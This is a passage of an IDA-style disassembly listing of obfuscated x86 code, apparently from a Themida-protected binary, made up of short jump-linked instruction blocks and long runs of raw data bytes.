		dd 15E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5587B9:				; CODE XREF: Themida_:0055E4A6j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55DA4B
; ---------------------------------------------------------------------------
		dd 0E902EDC1h, 1E55h
; ---------------------------------------------------------------------------


loc_5587D4:				; CODE XREF: Themida_:00555BD4j
		push	eax
		mov	eax, 4
		jmp	loc_557843
; ---------------------------------------------------------------------------
aQsd		db 'Qéd',7,0
		dd 31D3F700h, 31F331DEh, 63DAE9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5587F2:				; CODE XREF: Themida_:00558CF9j
		push	23DDh
		mov	[esp], esi
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55C7F3
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 9Dh
		dd 5F2CA61Eh, 31241C33h, 1C33241Ch, 53E7E924h, 0B5510000h
		dd 7EDC0B0h, 3086C580h,	0F66859EEh, 89000044h, 4DE9241Ch
		dd 8900001Ch, 4BA52E0h,	1000000h, 4055AD0h, 33000000h
		dd 92E92404h, 0BA00004Fh, 0E361BB2Ah, 815FFA01h, 0C811BBC7h
		dd 36B3E96Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558862:				; CODE XREF: Themida_:00560106j
		push	ebx
		push	esp
		jmp	loc_55FDB3
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
aUSTSxt1Ss7	db '$U½˜\T:º˜XT:1êéS7',0
		dw 0BF00h
		dd 6FBF78F0h, 75BAC781h, 0E7810F4Ch, 5D03719Ah,	515CEF81h
		dd 0E7C16BC5h, 0A6EF8105h, 89F59994h, 0EB015FFDh, 53F3815Dh
		dd 815FB201h, 5B7150C6h, 7F47E955h, 13E90000h, 0FFFFFFC0h
		dd 0C8B2434h, 4C48124h,	83000000h, 0BF5704C4h, 4, 34FFF901h
		dd 12E95F24h, 89FFFFD8h, 405E0h, 0BA520000h, 67E01119h
		dd 2FC968h, 24148900h, 32A8E9h,	0CAEE8100h, 89E86AC3h
		dd 0D1E95EF5h, 81FFFFF4h, 0B81FF6E6h, 81DEF70Ch, 0B62CCCEEh
		dd 0E8E95328h, 5B000035h, 0FFCCDFE9h, 0C335FFFh, 240C3124h
		dd 8B240C33h, 24D22424h, 9BE99C24h, 0ACFFFFBFh,	0E951D830h
		dd 36CFh, 5C240C87h, 241C8966h,	52660FB7h, 0F0000BB6h
		dd 0F8285A66h, 2264E951h, 31660000h, 1042E9D8h,	44BA0000h
		dd 1184104h, 81565AD0h,	4ECh, 240C8900h, 5E36DBB9h, 0F0C18136h
		dd 89E96800h, 240C8BCEh, 44FBE9h, 0BD355A00h, 516A2712h
		dd 0D8E547B9h, 0E9C80195h, 65Ch, 240C8B54h, 8104C483h
		dd 4C1h, 4BF5700h, 81000000h, 200081E9h, 81F90156h, 200081C1h
		dd 47E95F56h, 0FF00006Eh, 34FF2434h, 0C4815824h, 4, 76BA68h
		dd 24048900h, 0FFE05DE9h, 24048BFFh, 4C481h, 3C870000h
		dd 24248B24h, 0E9240489h, 0FFFFBEDEh
; ---------------------------------------------------------------------------


loc_5589F0:				; CODE XREF: Themida_:0055BCB4j
		jmp	loc_5548CE
; ---------------------------------------------------------------------------


loc_5589F5:				; CODE XREF: Themida_:0055E9C4j
		push	esp
		jmp	loc_55CC7F
; ---------------------------------------------------------------------------
		db 66h
		dd 50240C8Bh, 6467E9h, 24048B00h, 5B04C483h, 8FE68159h
		dd 0C15C5659h, 0CEE903EEh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558A1B:				; CODE XREF: Themida_:00556BA3j
		xor	ecx, 0BB5FFBFFh
		sub	[edi+24h], ecx
		pop	ecx


loc_558A25:				; CODE XREF: Themida_:00558310j
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55CCD4
; ---------------------------------------------------------------------------
		db 81h
		dd 0AF4362F6h, 0F429E90Ch, 0F750FFFFh, 0E9582414h, 2930h
		dd 69C281h, 0C281742Eh,	67B30FB2h, 0EA81CA01h, 67B30FB2h
		dd 69EA81h, 0C8B742Eh, 4C48124h, 33000000h, 14312414h
		dd 24143324h, 0FE24248Bh, 0E99C240Ch, 0FFFFC0DBh, 2474FF57h
		dd 2CDDE904h, 0D3010000h, 2523C381h, 505A59C0h,	4B8h, 16BF5700h
		dd 0E937681Ah, 4663h, 4C781h, 0F4E90000h, 81000059h, 41D9C2E9h
		dd 97DE92Fh, 0C4810000h, 4, 81E18951h, 4C1h, 4E98100h
		dd 87000000h, 895C240Ch, 0E789243Ch, 0FFD291E9h, 6C8166FFh
		dd 7CE00424h, 246C8166h, 0E931F704h, 0FFFFBFD9h, 34AF2B9h
		dd 59C8894Bh, 8158C631h, 3504AFF6h, 8BF0297Eh, 0BB682434h
		dd 8900004Bh, 0E9542404h, 0FFFFD471h, 8105EDC1h, 9E07FFC5h
		dd 5DEA89FEh, 203DA01h,	8124148Bh, 4C4h, 2434FF00h, 0FFCF97E9h
		dd 4EC83FFh, 83242489h,	8B042404h, 0C4832404h, 40504h
		dd 0ECE90000h, 8300000Bh, 0FF042404h, 0E95B2434h, 682h
		dd 0FFBD65E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558B69:				; CODE XREF: Themida_:0055A26Aj
		and	eax, ebp
		pop	ebp
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	11FEh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		jmp	loc_55A8AE
; ---------------------------------------------------------------------------
aISiu		db 'ˆÙ[(Ëé¨U',0
		dw 5700h
		dd 1752E9h, 4C48100h, 0E9000000h, 68F5h, 8F04C483h, 555C2404h
		dd 0E904EC83h, 304Eh, 8F2F780h,	0F5805BFDh, 35D2E903h
		dd 3F680000h, 89000069h, 0E6892434h, 4C681h, 37E90000h
		dd 66FFFFC4h, 5724048Bh, 0FFCC64E9h, 241C87FFh,	8B54515Ch
		dd 0C483240Ch, 4C18104h, 0E9000000h, 36DFh
; ---------------------------------------------------------------------------


loc_558C08:				; CODE XREF: Themida_:0055C0BAj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	68CC0EC6h
		mov	ebp, [esp]
		jmp	loc_55E664
; ---------------------------------------------------------------------------
		db 0BAh, 5Ch, 0F1h
		dd 66056523h, 0E96F3720h, 88Ch,	8304C483h, 0C48104C4h
		dd 4, 0E904EC83h, 6B97h, 0CAE943B1h, 52FFFFF4h,	731D968h
		dd 0D2F75A50h, 56E28142h, 513F9E53h, 0B9h, 0E9D12900h
		dd 2D3Eh, 0C178FBFh, 0E9F82905h, 6A32h,	0BF3F4BBBh, 5BDE312Eh
		dd 0E95EF389h, 0FFFFBE31h, 5AFBC381h, 0C3815843h, 0F7889A58h
		dd 815BDA21h, 247291EAh, 2EAC116h, 69E4EA81h, 16E9A924h
		dd 0B8FFFFEFh, 6FAA5BEAh, 462DEE05h, 0EDE9522Ah
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558CB7:				; CODE XREF: Themida_:0055BD5Cj
		add	eax, ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 69106416h
		sub	eax, ecx
		pop	ecx
		jmp	loc_55A3B7
; ---------------------------------------------------------------------------


loc_558CCC:				; CODE XREF: Themida_:0055C5C6j
		push	esi
		mov	esi, 5E992047h
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 5E992047h
		xor	esi, ecx
		pop	ecx
		jmp	loc_5587F2
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 0
		dd 0D187CA29h, 2E1C15Ah, 414BC181h, 0BA520CB8h,	3C3D24C9h
		dd 0FFE2CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558D1D:				; CODE XREF: Themida_:005602BFj
		pop	ebx
		jmp	loc_558586
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0F381EBD1h, 2F8239E1h, 4B16C381h, 0DD01C87Dh, 0EDE4E95Bh
		dd 0D6BDFFFFh, 8966358Eh, 45E9EFh, 525F0000h, 42474FFh
		dd 24048F5Ah, 0FFC747E9h, 7AE9ADFFh, 0BF000073h, 3FFB4615h
		dd 56EF8147h, 0F7E7DFD7h, 5EE956D7h, 5900003Eh,	2EC81h
		dd 0C4E90000h, 81000046h, 4C7h,	50E6800h, 3EE90000h, 5D000026h
		dd 8F5B951h, 32E900A9h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558D97:				; CODE XREF: Themida_:0056031Dj
		mov	edx, 3D1F1135h
		jmp	loc_55D375
; ---------------------------------------------------------------------------
		db 66h,	68h, 0ACh
		dd 0F389E909h, 0C281FFFFh, 3FFF7F03h, 835AD101h, 0C3304C1h
		dd 240C3124h, 8B240C33h, 0FCE92424h, 66000052h,	20C8B050h
		dd 835866C1h, 1C8904ECh, 509EB724h, 0E9B7B353h,	6C54h
		dd 4EC81h, 1C890000h, 0E9BA5224h, 68426501h, 0CAh, 0B9240C89h
		dd 175107Bh, 4164E181h,	0C18145A0h, 0EEF27BFBh,	8959CA01h
		dd 6608E9D3h, 34FF0000h, 24348B24h, 0E904C483h,	1C1Ah
		dd 4BE5659h, 0E9000000h, 8A3h, 0C381E389h, 4, 8704C383h
		dd 0E95C241Ch, 63F5h, 5A205721h, 0FFBF83E9h, 243487FFh
		dd 1489665Ch, 9C506624h, 0FFBA75E9h, 81E589FFh,	4C5h, 4C58300h
		dd 5C242C87h, 67C380h, 0DBB551C3h, 7D1AE9h, 8BD33100h
		dd 0C4812414h, 4, 5601E9h, 24343300h, 6624248Bh, 66C8AF0Fh
		dd 9FE99C51h, 64000007h, 2FE932FFh, 28FFFFBAh, 0F2E95AF3h
		dd 8FFFFFFCh, 4832404h,	4CE90424h, 5E000068h, 1C8BDF01h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 0FFED78E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558ECD:				; CODE XREF: Themida_:0055CD84j
		push	edx
		mov	edx, 68576E89h
		push	6B8Dh
		mov	[esp], esi
		mov	esi, 1158712Dh
		add	esi, 5C72CF3h
		push	ecx
		jmp	loc_556018
; ---------------------------------------------------------------------------
		dd 8B241487h, 0B0E92424h, 0FF000059h, 34FF2434h, 2434FF24h
		dd 83240C8Bh, 895304C4h, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 0DC68555Ch, 5400002Bh, 8124048Fh, 42404h, 815D0000h
		dd 4C5h, 4C58300h, 5C242C87h, 4C481h, 34FF0000h, 2434FF24h
		dd 0FFE1F4E9h, 81E189FFh, 4C1h,	4C18300h, 8B240C87h, 0CCE92424h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_558F5F:				; CODE XREF: Themida_:005607BEj
		push	ebx
		mov	ebx, 28AE276Dh
		xor	ecx, ebx
		pop	ebx
		dec	ecx
		xor	ecx, 1ACF00FFh
		xor	eax, ecx
		mov	ecx, [esp]
		jmp	loc_55F5CC
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 6852665Ch, 2AF9h, 0E9240489h, 6018h,	0E92C77FFh, 0FFFFF922h
		dd 45368h, 24148900h, 0E9501AB2h, 33F1h, 1AA3BD55h, 91E969BCh
		dd 59000043h, 100368h, 242C8900h, 168h,	242C8B00h, 2104C483h
		dd 242C8BE8h, 52E68956h, 143A0BBAh, 6EAC12Dh, 38B5C281h
		dd 814A5C5Dh, 0A87719C2h, 0B1F28178h, 81D5BA00h, 0E164AFEEh
		dd 0E9D60177h, 0FFFFCB30h, 8BC20159h, 89502404h, 5819E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559002:				; CODE XREF: Themida_:0055A0F4j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_554CF1
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E9ECD0D4h, 1882h, 543FB22Dh, 0C197E962h, 68ADFFFFh
		dd 5D3Ch, 52243C89h, 1421ED68h,	81425A5Fh, 8546A0F2h, 0E9D78938h
		dd 0FFFFC64Eh, 4C4815Fh, 81000000h, 8CA801C1h, 8BC83119h
		dd 0C483240Ch, 83C33104h, 3C8904ECh, 0C496E924h, 0F187FFFFh
		dd 0FFD6A1E9h, 0D6BD55FFh, 0E902BF1Eh, 0FFFFD0F6h, 4C581h
		dd 0E9530000h, 3FDBh
; ---------------------------------------------------------------------------


loc_559084:				; CODE XREF: Themida_:0055823Aj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5579E3
; ---------------------------------------------------------------------------
		dd offset dword_51E548+439h
		db 82h
		dd 0C1814166h, 6FA579C5h, 0FFECB3E9h, 56B951FFh, 0E931297Dh
		dd 0FF9h, 1D5268h, 24248900h, 4BD55h, 6C010000h, 0E95D0424h
		dd 9EFh, 24148966h, 0B4E939B6h,	0BDFFFFCCh, 220135C5h
		dd 295DEA29h, 0CBB6E9D6h, 0E901FFFFh, 4C1815Dh,	87000000h
		dd 0E95C240Ch, 464Ch, 50241C8Bh, 0FFD988E9h, 4CB753FFh
		dd 665BFD00h, 0C106853h, 4890000h, 0E907E924h, 48B7FFFFh
		dd 0E905EFC0h, 6C8Ch, 0F3E9515Bh, 87000019h, 248B2414h
		dd 242CD224h, 0B7A0E99Ch, 1C89FFFFh, 0E9F38824h, 4C34h
		dd 83240C8Bh, 1C3304C4h, 241C3124h, 5C241C33h, 0FFDCA4E9h
		dd 253A68FFh, 8F540000h, 4812404h, 424h, 24048F00h, 0FFE4EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559165:				; CODE XREF: Themida_:005573F9j
		neg	edi
		neg	edi
		sub	edi, 982C36BDh
		jmp	loc_55EFE0
; ---------------------------------------------------------------------------
		dd 0FEC2CB80h, 0CA9E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55917E:				; CODE XREF: Themida_:00557845j
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		push	610Ah
		mov	[esp], eax
		push	799Bh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, 370518ABh
		sub	edx, ecx
		sub	edx, 370518ABh
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		pop	eax
		pop	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		xor	eax, edx
		xor	edx, eax
		jmp	loc_5571CC
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 0B6E8E99Ch, 5451FFFFh,	4BD5559h
		dd 1000000h, 0C1835DE9h, 74FF5104h, 8F590424h, 815C2404h
		dd 4C3h, 4C38300h, 2474FF53h, 48F5B04h,	24248B24h, 159E9h
		dd 77E95F00h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55921F:				; CODE XREF: Themida_:0055522Fj
		pop	edx
		push	6CF3h
		jmp	loc_555970
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 55C828D1h, 3214B850h, 0B9512AFEh, 438CFC03h,	0FFD306E9h
		dd 0B688E9FFh, 5B54FFFFh, 4C381h, 0E9520000h, 1320h, 913415BAh
		dd 70AE926h, 0E94A0000h, 1706h,	0DBD6E95Fh, 7768FFFFh
		dd 89000026h, 0E955242Ch, 13E0h, 0A7E38058h, 0E9A0B050h
		dd 0FFFFC0AFh
; ---------------------------------------------------------------------------


loc_559284:				; CODE XREF: Themida_:00555535j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 774E602Ch
		xor	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_555EAE
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4BA52E6h, 1000000h, 68E95AD6h, 80000022h, 0C38098C3h
		dd 0E81DE947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5592C2:				; CODE XREF: Themida_:005548D5j
		mov	bx, [esp]
		jmp	loc_55DA92
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F75704EFh, 0A8E92414h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5592D7:				; CODE XREF: Themida_:00557188j
		mov	esp, [esp]
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	esp, 4
		test	ecx, eax
		pushf
		jmp	loc_5548CE
; ---------------------------------------------------------------------------
		dw 1DB1h
		dd 7A6E9h, 0EEE95100h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5592FF:				; CODE XREF: Themida_:0056012Aj
		push	ecx
		push	ebx
		push	6297h
		jmp	loc_559A18
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 243C8700h, 2404315Ch, 0B5B0E99Ch, 8951FFFFh, 7FBB53E1h
		dd 0F757A014h, 5DE381D3h, 0D1516C53h, 0C3814BEBh, 0FFD9DE85h
		dd 815BD901h, 4C1h, 0F420E900h,	1C33FFFFh, 0A43E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55934E:				; CODE XREF: Themida_:00559950j
		pop	esp
		or	ecx, 4693534Eh
		push	eax
		mov	eax, 7A021F7Dh
		jmp	loc_556E9B
; ---------------------------------------------------------------------------


loc_559360:				; CODE XREF: Themida_:0055FABCj
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		jmp	loc_55BA8F
; ---------------------------------------------------------------------------
		db 89h
		dd 6C90E9F5h, 4310000h,	0B554E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55937A:				; CODE XREF: Themida_:005567A7j
		mov	dl, ch
		jmp	loc_55BF82
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 21F7E9h, 4EC8300h, 68243C89h, 1C545BA7h, 3996E95Fh
		dd 0EE810000h, 75881BDFh, 0FFFFC6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5593A5:				; CODE XREF: Themida_:0055DC00j
		add	esp, 4
		sub	bl, 1Dh
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55FB00
; ---------------------------------------------------------------------------


loc_5593B9:				; CODE XREF: Themida_:00558391j
		add	dword ptr [esp], 3DC0487Dh
		jmp	loc_55F278
; ---------------------------------------------------------------------------


loc_5593C5:				; CODE XREF: Themida_:0055AAEEj
		push	edi
		pop	ebp
		pop	edi
		xchg	ebx, ebp
		jmp	loc_557805
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 8159CF01h, 777067EFh,	51CF0168h, 0FFE1E7E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5581A9
; ---------------------------------------------------------------------------


loc_5593F7:				; CODE XREF: Themida_:005556C0j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		pop	edi
		mov	eax, [esp]
		jmp	loc_56095E
; ---------------------------------------------------------------------------
		db 58h,	87h, 34h
		dd 0C895C24h, 0B4B4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55941A:				; CODE XREF: Themida_:00556A9Fj
		push	ecx
		mov	ch, 35h
		dec	ch
		jmp	loc_55F1E6
; ---------------------------------------------------------------------------
		dd 8DF18149h, 891150B5h, 6502E9C8h, 0EDC10000h,	8E5C103h
		dd 67E9D5F7h, 8100006Fh, 721234C9h, 0F9E18172h,	493EEB06h
		dd 3A63BE56h, 0C6816EEEh, 5D552DB8h, 0CE81464Eh, 5E41912h
		dd 0A77EC681h, 0F1315EAAh, 3E1C15Eh, 0E894C181h, 0CF01683Eh
		dd 243C8759h, 2424D35Ch, 0FFB44DE9h, 5EF509FFh,	5EDC145h
		dd 0D534ED81h, 0EA29CB1Ah, 0FFE2E1E9h, 81D9F7FFh, 4ECh
		dd 24048900h, 15605EB8h, 3E8C128h, 0A3E9D0F7h, 5000002Eh
		dd 42474FFh, 0E924048Bh, 7FAh, 0BB53D001h, 6F372066h, 4FF4B951h
		dd 0E18141D9h, 24204DC3h, 0E1C18149h, 816A1006h, 50012C1h
		dd 59C801FCh, 98E9D829h, 56000023h, 0FFC35EE9h,	4C383FFh
		dd 5C241C87h, 0D975B52Dh, 3BFDE958h, 4B90000h, 1000000h
		dd 240C8BCAh, 4C481h, 14870000h, 0E3EFE924h, 1C8BFFFFh
		dd 4C48324h, 0C8F0E95Eh, 148BFFFFh, 4C48124h, 0E9000000h
		dd 0FFFFB908h, 89240489h, 0E851E9E0h, 8B54FFFFh, 0C481242Ch
		dd 4, 4C581h, 7AE90000h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55954F:				; CODE XREF: Themida_:0055C6D2j
		pop	eax
		push	ecx
		push	edx
		mov	edx, 6F055C9Dh
		mov	ecx, 3E8C2690h
		not	ecx
		push	edx
		push	eax
		mov	eax, 5A855FAEh
		mov	edx, 0A813C44Ch
		add	edx, eax
		pop	eax
		xor	ecx, edx
		pop	edx
		push	esi
		mov	esi, 1F5320BBh
		xor	ecx, esi
		pop	esi
		jmp	loc_556873
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFD8EAh, 72D768h,	240C8900h, 4C67E9h, 56D7F700h
		dd 9B5489BEh, 0F7D6F72Ah, 49F681D6h, 0F777D22Ah, 709CE9D6h
		dd 1C8B0000h, 4C48124h,	50000000h, 0FFE65EE9h, 243C8BFFh
		dd 5690E9h, 24348900h, 4BEh, 8BF70100h,	0C4812434h, 4
		dd 0FFDDA8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5595D9:				; CODE XREF: Themida_:0055D260j
		push	edx
		mov	edx, 37517E54h
		shr	edx, 6
		not	edx
		jmp	loc_554EB7
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 3
		dd 5126CE81h, 0D6F706BFh, 51ABC681h, 0F28916BFh, 2AC6E9h
		dd 11BF5700h, 814A6E62h, 2B52FECFh, 0EFC1477Ah,	79EF8103h
		dd 0E9DA50C7h, 6CBCh, 0D5F7D5F7h, 9744ED81h, 47E98135h
		dd 0FFFFFFC0h, 48B2434h, 50F6E924h, 93E90000h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55963B:				; CODE XREF: Themida_:0055B9CBj
		mov	ebx, 50145E64h
		add	edi, ebx
		jmp	loc_5563D4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 4C48124h,	81000000h, 4ECh, 241C8900h, 0BE56E389h
		dd 325F5D43h, 0FFD79DE9h, 22BABFFFh, 0FE907E9h,	0FFFFFFCCh
		dd 21E92434h, 3000003Dh, 0B3535AD0h, 2C38071h, 0FE5BD808h
		dd 51FA0CC0h, 0E83091B5h, 1BD3E9h, 4BA00h, 6BE90000h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55969F:				; CODE XREF: Themida_:0055A4F0j
		pop	esp
		jmp	loc_55F919
; ---------------------------------------------------------------------------
		db 89h,	0CBh, 8Bh
		dd 8952240Ch, 0B727E9E2h, 0ED80FFFFh, 5E5C023h,	0FFC479E9h
		dd 4C483FFh, 0C72DC801h, 596E0E1Ah, 63E9F829h, 1000058h
		dd 2434FFF1h, 0E9E9565Eh, 6600006Bh, 22474FFh, 240C8B66h
		dd 81E18951h, 4C1h, 0E947E900h,	6866FFFFh, 89663878h, 0F66240Ch
		dd 5166C8B6h, 0B1C8E99Ch, 3C89FFFFh, 815F5424h,	4C7h, 4C78300h
		dd 0FFF36FE9h, 0B505ADFFh, 558D975h, 42141BB2h,	2EC2E9h
		dd 10C38000h, 662DC380h, 0CCF4E959h, 0BF57FFFFh, 4, 53E9F829h
		dd 68FFFFCAh, 1ACEh, 0B9240C89h, 4, 0C8BC801h, 0F478E924h
		dd 481FFFFh, 424h, 24348B00h, 4C481h, 0A8680000h, 0E900001Bh
		dd 19F7h
; ---------------------------------------------------------------------------


loc_559774:				; CODE XREF: Themida_:0055C4EDj
		push	edx
		mov	edx, 15C66A2Eh
		neg	edx
		and	edx, 4F1A318Eh
		inc	edx
		sub	edx, 33F1E52h
		jmp	loc_554FF2
; ---------------------------------------------------------------------------


loc_55978E:				; CODE XREF: Themida_:0055EC43j
		push	esi
		mov	esi, 15311E63h
		push	55A4h
		jmp	loc_55E00E
; ---------------------------------------------------------------------------
		dw 0F755h
		dd 565D2414h, 12BA5255h, 815CEF3Bh, 410F20C2h, 0BFE28160h
		dd 813F551Ch, 1C477AC2h, 8BD589C6h, 79E92414h, 0BB000050h
		dd 4, 3415C781h, 0DF012691h, 0FA7AE952h, 77FFFFFFh, 58669D1Ch
		dd 9C240410h, 0FFB0E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5597E9:				; CODE XREF: Themida_:0055FAFBj
		or	eax, 59203501h
		xor	eax, 0F087AA6h
		add	eax, 52B523A8h
		xor	eax, 5C97787Dh
		add	eax, 79B4F730h
		xor	eax, 1F557F1Fh
		xor	ecx, eax
		jmp	loc_55AE32
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 54F4h, 0E781474Fh, 38060474h, 3BCDF781h, 0FE9270Dh
		dd 29FFFFE0h, 0E8015DE8h, 0CF371105h, 21FA2D46h, 1CE977C2h
		dd 5900005Ch, 4C481h, 0C3800000h, 81C32819h, 2ECh, 0C896600h
		dd 88B35324h, 0E980E952h, 48FFFFFh, 0D691E924h,	48FFFFFh
		dd 24248B24h, 24048B66h, 1E7A68h, 592BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559876:				; CODE XREF: Themida_:00557288j
		or	edi, 0B075921h
		shl	edi, 6
		dec	edi
		add	edi, 5E2C7D1Bh
		add	ebx, edi
		pop	edi
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		add	dword ptr [esp], 32221EC9h
		jmp	loc_55C9ED
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 82EE9h, 55575C00h, 0FFF479E9h, 42E95EFFh, 28000019h
		dd 2D0458E6h, 2D2CF000h, 0FFC512E9h, 24048BFFh,	8104C483h
		dd 4C4h, 94685500h, 8900004Eh, 4832424h, 0E95D0424h, 0FFFFEDEFh
		dd 2474FF51h, 6D0DE904h, 2D5E0000h, 0E59BD148h,	48BC389h
		dd 4C48324h, 1C8BD829h,	0E9545524h, 3396h, 0A32EF81h, 57560D01h
		dd 0E9F1895Eh, 0FFFFEB32h, 0E9240489h, 0FFFFAF9Eh, 3F04D828h
		dd 5E08950h, 4,	8704E883h, 895C2404h, 8DB62414h, 0FFB317E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55994D:				; CODE XREF: Themida_:00555C7Ej
		xchg	edx, [esp]
		jmp	loc_55934E
; ---------------------------------------------------------------------------


loc_559955:				; CODE XREF: Themida_:0055B48Fj
		add	bl, 0E0h
		add	bl, 57h
		push	eax
		jmp	loc_55D412
; ---------------------------------------------------------------------------


loc_559961:				; CODE XREF: Themida_:00557ACFj
		add	edi, edx
		jmp	loc_55BC82
; ---------------------------------------------------------------------------
aZsT		db ')×ZéÇT',0
		align 10h
		dd 555B5453h, 204E9h, 1AEB8100h, 521CE873h, 380BBD55h
		dd 0E9552917h, 0CF1h, 127CF181h, 28E9D20Eh, 0B1FFFFB4h
		dd 0E9CB284Eh, 5C52h, 0ADD6866h, 242C8966h, 0A4DC6866h
		dd 2AAAE9h, 240C8700h, 51D5E9h,	24048B00h, 4C481h, 7CE90000h
		dd 0B8FFFFECh, 79E04721h, 3C18F12Dh, 5D8DE967h,	8B5A0000h
		dd 8956240Ch, 5ABF57E6h, 0E93B8275h, 0FFFFBC9Dh
; ---------------------------------------------------------------------------


loc_5599E8:				; CODE XREF: Themida_:00560159j
		push	ebp
		xor	dword ptr [esp], 18E729C5h
		pop	eax
		xor	eax, 18E729C5h
		mov	ebp, [esp]
		jmp	loc_55AF04
; ---------------------------------------------------------------------------
		dw 6857h
		dd 266A61F6h, 81243C8Bh, 4C4h, 0F7EF8700h, 0E9EF31D5h
		dd 0FFFFC470h
; ---------------------------------------------------------------------------


loc_559A18:				; CODE XREF: Themida_:00559306j
		mov	[esp], edx
		mov	dh, al
		mov	bl, dh
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	ah, bl
		jmp	loc_5571C1
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 0A7E90000h, 8700004Bh, 0E95C2414h, 3FE5h
; ---------------------------------------------------------------------------


loc_559A44:				; CODE XREF: Themida_:0055A2DCj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55F728
; ---------------------------------------------------------------------------
		dw 7429h
		dd 44810424h, 7FD60424h, 44815F65h, 0B1C0424h, 8B5E73F0h
		dd 89522404h, 8CBB53E2h, 4355BC0Ah, 47EFE9h, 8BDF8900h
		dd 0C483241Ch, 8BFA0104h, 0AAE9243Ch, 8700005Ch, 9DE9240Ch
